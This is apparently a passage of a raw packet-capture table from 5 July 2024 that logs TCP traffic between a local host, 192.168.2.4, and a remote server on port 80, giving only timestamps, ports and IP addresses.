Jul 5, 2024 07:48:47.972794056 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.972867966 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.972995043 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973006964 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973032951 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.973045111 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973054886 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973064899 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973071098 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973077059 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973078012 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.973087072 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.973143101 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.973162889 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974242926 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974275112 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974293947 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974303007 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974333048 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974342108 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974344015 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974375010 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974381924 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974467993 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974478006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974519968 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974642038 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974653006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974663019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974673986 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974694014 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974694014 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.974858046 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974867105 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.974885941 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.975246906 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975284100 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.975359917 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975369930 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975405931 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.975625038 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975644112 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975668907 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975677967 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975687981 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.975703001 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.975713015 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978410959 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978449106 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978481054 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978491068 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978522062 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978563070 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978573084 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978583097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978620052 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978693962 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978703976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978734016 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978739977 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978750944 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978766918 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978775978 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.978780985 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.978806973 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.979096889 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979114056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979151011 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.979191065 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979227066 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.979239941 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979249954 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979285002 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.979325056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979334116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.979382992 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.980106115 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.980114937 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.980124950 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.980149031 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.981333017 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981376886 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.981393099 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981403112 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981437922 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:47.981456995 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981467962 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981477022 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:47.981501102 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.027086020 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.031630993 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.031712055 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.031721115 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.031763077 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.079902887 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080071926 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080082893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080108881 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080212116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080223083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080233097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080244064 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080255032 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080257893 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080270052 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080298901 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080477953 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080493927 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080502033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080513954 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080523014 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080535889 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080535889 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080809116 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080817938 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080826998 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080836058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080845118 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080854893 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.080859900 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.080872059 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081037998 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081077099 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081127882 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081137896 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081171036 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081572056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081583023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081592083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081630945 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081634998 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081643105 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081662893 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081718922 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081759930 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.081764936 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081850052 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081860065 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.081886053 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.082261086 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082307100 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.082318068 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082328081 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082357883 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.082376957 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082387924 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082397938 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082410097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082418919 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.082423925 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.082451105 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084372997 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084412098 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084515095 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084525108 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084566116 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084614992 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084625006 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084635019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084646940 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084664106 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084686041 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084779024 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084867001 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084877014 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084884882 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.084907055 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.084930897 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.085294962 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.085447073 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.085455894 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.085464001 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.085485935 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.085509062 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.086498976 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086539984 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086549044 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086581945 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.086649895 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086659908 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086668015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.086694956 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.086711884 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.087418079 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087577105 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087585926 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087594986 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087609053 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.087625980 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087635994 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.087635994 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.087672949 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.137752056 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.137763977 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.137773037 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.137823105 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.184735060 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184751987 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184771061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184782982 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184794903 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184808016 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184825897 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.184876919 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.184921026 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184982061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.184993982 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185020924 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.185061932 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185105085 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.185106039 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185117960 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185142040 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185152054 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.185240030 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185251951 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185288906 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.185357094 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185369015 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185400009 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.185471058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185482979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.185523987 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186300039 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186355114 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186356068 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186367035 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186410904 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186428070 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186494112 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186515093 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186530113 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186538935 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186570883 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186628103 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186702013 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186712980 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186733007 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186743021 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186743975 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186774015 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.186824083 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186834097 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.186867952 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.187375069 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187416077 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.187422991 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187433958 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187458038 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187500000 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.187540054 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187551975 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187583923 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.187654018 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187704086 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.187736988 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187747955 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.187787056 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.190573931 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190808058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190819979 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190838099 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190850019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190860033 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190862894 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.190874100 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190885067 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190896034 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.190896034 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190916061 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.190929890 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190936089 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.190942049 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.190969944 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.191899061 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.191909075 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.191920042 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.191931963 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.191948891 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.191983938 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.192796946 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192807913 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192820072 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192840099 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192847967 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.192848921 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192862034 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192867994 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.192879915 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192890882 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.192895889 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.192929983 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.193406105 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193418026 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193428993 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193449020 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.193475962 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193483114 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.193491936 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193538904 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.193584919 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193603039 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.193646908 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.243828058 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.243994951 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.244005919 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.244148016 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317270994 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317365885 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317374945 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317420006 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317430019 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317440987 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317451954 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317470074 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317500114 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317544937 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317589998 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317600965 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317641973 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317718983 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317730904 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317739964 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317749023 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317769051 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317789078 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317866087 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317877054 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317886114 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317899942 CEST	80	63881	45.90.58.251	192.168.2.4
Jul 5, 2024 07:48:48.317919970 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.317939043 CEST	63881	80	192.168.2.4	45.90.58.251
Jul 5, 2024 07:48:48.318075895 CEST	80	63881	45.90.58.251	192.168.2.4
